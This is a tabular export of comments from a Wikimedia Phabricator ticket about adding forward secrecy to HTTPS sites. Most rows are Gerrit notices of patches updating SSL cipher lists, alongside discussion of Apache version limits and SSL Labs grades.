+435802,Add Forward Secrecy to all HTTPS sites,"Guys, why it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?",,,1427810665,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+423138,Add Forward Secrecy to all HTTPS sites,"A few servers still do not provide forward secrecy because they need to be upgraded to apache 2.4 to support that. See: https://wikitech.wikimedia.org/wiki/HTTPS/domains
+
+Also we still offer non-FS ciphers, but maybe disabling non-forward-secrecy should be a different task.",,,1425914382,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,79,True,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+423101,Add Forward Secrecy to all HTTPS sites,"All Gerrit patchsets linked in this ticket are merged or abandoned.
+
+What's left to do here?",,,1425910239,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,79,True,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+419408,Add Forward Secrecy to all HTTPS sites,"Change 178676 abandoned by JanZerebecki:
+Change ru.wikinews.org to HTTPS only.
+
+Reason:
+Was done elsewhere.
+
+[[https://gerrit.wikimedia.org/r/178676]]",,,1425325885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,78,True,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+340339,Add Forward Secrecy to all HTTPS sites,Fundraising-tech should be added for the payments.wm.org comment above,,,1418221161,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,67,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+340122,Add Forward Secrecy to all HTTPS sites,"Change 178676 had a related patch set uploaded (by JanZerebecki):
+Change ru.wikinews.org to HTTPS only.
+
+[[https://gerrit.wikimedia.org/r/178676]]
+
+#patch-for-review",,,1418164712,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+257783,Add Forward Secrecy to all HTTPS sites,"I just found that https://payments.wikimedia.org is still using the old cipher suite list: 
+
+TLS_RSA_WITH_AES_128_GCM_SHA256
+TLS_RSA_WITH_RC4_128_SHA
+TLS_RSA_WITH_RC4_128_MD5
+TLS_RSA_WITH_3DES_EDE_CBC_SHA
+TLS_RSA_WITH_AES_128_CBC_SHA
+TLS_RSA_WITH_AES_256_CBC_SHA
+
+https://www.ssllabs.com/ssltest/analyze.html?d=payments.wikimedia.org",,,1416527953,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+257776,Add Forward Secrecy to all HTTPS sites,"Change 149267 merged by Dzahn:
+icinga-admin -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/149267",,,1406302349,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+257770,Add Forward Secrecy to all HTTPS sites,"Change 149267 had a related patch set uploaded by Chmarkine:
+icinga-admin -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/149267",,,1406276759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257764,Add Forward Secrecy to all HTTPS sites,"Change 148631 had a related patch set uploaded by Chmarkine:
+svn -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/148631",,,1406111474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257758,Add Forward Secrecy to all HTTPS sites,"Change 148624 had a related patch set uploaded by Chmarkine:
+planet -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/148624",,,1406108856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257754,Add Forward Secrecy to all HTTPS sites,"Change 148618 had a related patch set uploaded by Chmarkine:
+tendril -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/148618",,,1406106814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,47,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257749,Add Forward Secrecy to all HTTPS sites,"Change 147739 abandoned by Chmarkine:
+blog -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/147739",,,1406001811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257742,Add Forward Secrecy to all HTTPS sites,"Change 147740 had a related patch set uploaded by Chmarkine:
+ishmael -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/147740",,,1405782676,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257739,Add Forward Secrecy to all HTTPS sites,"Change 147739 had a related patch set uploaded by Chmarkine:
+blog -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/147739",,,1405780637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257735,Add Forward Secrecy to all HTTPS sites,"Change 147715 had a related patch set uploaded by Chmarkine:
+rt -- update cipher suite list to support PFS
+
+https://gerrit.wikimedia.org/r/147715",,,1405744267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257729,Add Forward Secrecy to all HTTPS sites,"Change 147214 merged by Dzahn:
+metrics - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147214",,,1405719532,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257723,Add Forward Secrecy to all HTTPS sites,"Change 147185 merged by Dzahn:
+racktables - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147185",,,1405716993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257716,Add Forward Secrecy to all HTTPS sites,"Change 147199 merged by Dzahn:
+etherpad - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147199",,,1405702883,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257710,Add Forward Secrecy to all HTTPS sites,"Change 147196 abandoned by Dzahn:
+smokeping - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147196",,,1405699893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+257703,Add Forward Secrecy to all HTTPS sites,"Change 147214 had a related patch set uploaded by JanZerebecki:
+metrics - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147214",,,1405685873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257693,Add Forward Secrecy to all HTTPS sites,"Change 147208 had a related patch set uploaded by JanZerebecki:
+generic_vhost (webserver) - update SSL ciphers
+
+https://gerrit.wikimedia.org/r/147208",,,1405685601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257684,Add Forward Secrecy to all HTTPS sites,"Change 147207 had a related patch set uploaded by JanZerebecki:
+icinga - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147207",,,1405684157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257677,Add Forward Secrecy to all HTTPS sites,"Change 147199 had a related patch set uploaded by JanZerebecki:
+etherpad - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147199",,,1405683465,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257673,Add Forward Secrecy to all HTTPS sites,"Change 147196 had a related patch set uploaded by JanZerebecki:
+smokeping - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147196",,,1405682977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+257669,Add Forward Secrecy to all HTTPS sites,"Change 147185 had a related patch set uploaded by JanZerebecki:
+racktables - update SSL cipher list
+
+https://gerrit.wikimedia.org/r/147185",,,1405682764,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257664,Add Forward Secrecy to all HTTPS sites,It is B for ganglia because that old of an libssl and apache do not support newer TLS versions. ganglia / nickel.wikimedia.org is still on Ubuntu Lucid.,,,1405621600,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,46,True,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+257660,Add Forward Secrecy to all HTTPS sites,"Change 147123 merged by Dzahn:
+update SSL ciphers for noc.wikimedia.org to support PFS
+
+https://gerrit.wikimedia.org/r/147123",,,1405616705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+257656,Add Forward Secrecy to all HTTPS sites,"Why does ganglia still get a B from Qualys SSL Labs after the change, while others are fine?",,,1405615151,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,46,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+257651,Add Forward Secrecy to all HTTPS sites,"Change 147110 merged by Dzahn:
+update SSL ciphers for Ganglia to support PFS
+
+https://gerrit.wikimedia.org/r/147110",,,1405612447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+257646,Add Forward Secrecy to all HTTPS sites,"Change 147123 had a related patch set uploaded by Chmarkine:
+update SSL ciphers for noc.wikimedia.org to support PFS
+
+https://gerrit.wikimedia.org/r/147123",,,1405611296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257640,Add Forward Secrecy to all HTTPS sites,"Change 147110 had a related patch set uploaded by Chmarkine:
+update SSL ciphers for Ganglia to support PFS
+
+https://gerrit.wikimedia.org/r/147110",,,1405607191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257631,Add Forward Secrecy to all HTTPS sites,"Change 146510 merged by Dzahn:
+update SSL ciphers for contacts.wm.org to support PFS
+
+https://gerrit.wikimedia.org/r/146510",,,1405529781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+257622,Add Forward Secrecy to all HTTPS sites,"Change 146510 had a related patch set uploaded by Chmarkine:
+update SSL ciphers for contacts.wm.org to support PFS
+
+https://gerrit.wikimedia.org/r/146510",,,1405449574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257613,Add Forward Secrecy to all HTTPS sites,"Change 144736 merged by Dzahn:
+update SSL cipher list on wikitech to support PFS
+
+https://gerrit.wikimedia.org/r/144736",,,1405110557,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257606,Add Forward Secrecy to all HTTPS sites,"Change 144734 merged by Dzahn:
+update SSL cipher list for OTRS to support PFS
+
+https://gerrit.wikimedia.org/r/144734",,,1405101832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257598,Add Forward Secrecy to all HTTPS sites,"(In reply to Daniel Zahn from comment #30)
+> chmarkine: very nice list, thanks!
+> 
+> I just wanted to add that even though i have those (partly pending) patches
+> to enable it on gerrit,wikitech,otrs ..it will not actually work before
+> Apache is also a 2.4 version. But do you agree i should merge already
+> anyways,based on it being an improvement anyways? Then it would just
+> automatically be supported as soon as Apache will be upgraded.
+
+I agree! I think we should definitely merge them.",,,1405047381,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+257592,Add Forward Secrecy to all HTTPS sites,"chmarkine: very nice list, thanks!
+
+I just wanted to add that even though i have those (partly pending) patches to enable it on gerrit,wikitech,otrs ..it will not actually work before Apache is also a 2.4 version. But do you agree i should merge already anyways,based on it being an improvement anyways? Then it would just automatically be supported as soon as Apache will be upgraded.",,,1405032215,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+257587,Add Forward Secrecy to all HTTPS sites,"also see the older wiki page that just focused on domains without https
+
+https://wikitech.wikimedia.org/wiki/Httpsless_domains",,,1405004050,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0
+257582,Add Forward Secrecy to all HTTPS sites,"(In reply to Nemo from comment #22)
+> It's a bit unpractical to have one comment for each domain. Jan and
+> chmarkine, it would be IMHO more useful if you resurrected
+> https://wikitech.wikimedia.org/wiki/Httpsless_domains to make a table of
+> which domains have https but lack PFS.
+
+I made such a list: https://wikitech.wikimedia.org/wiki/User:Chmarkine/HTTPS
+
+It summarizes support status for Forward Secrecy and HSTS. It also shows protocol versions, whether HTTP redirects to HTTPS, links to SSL Labs and SSL Labs grades.
+
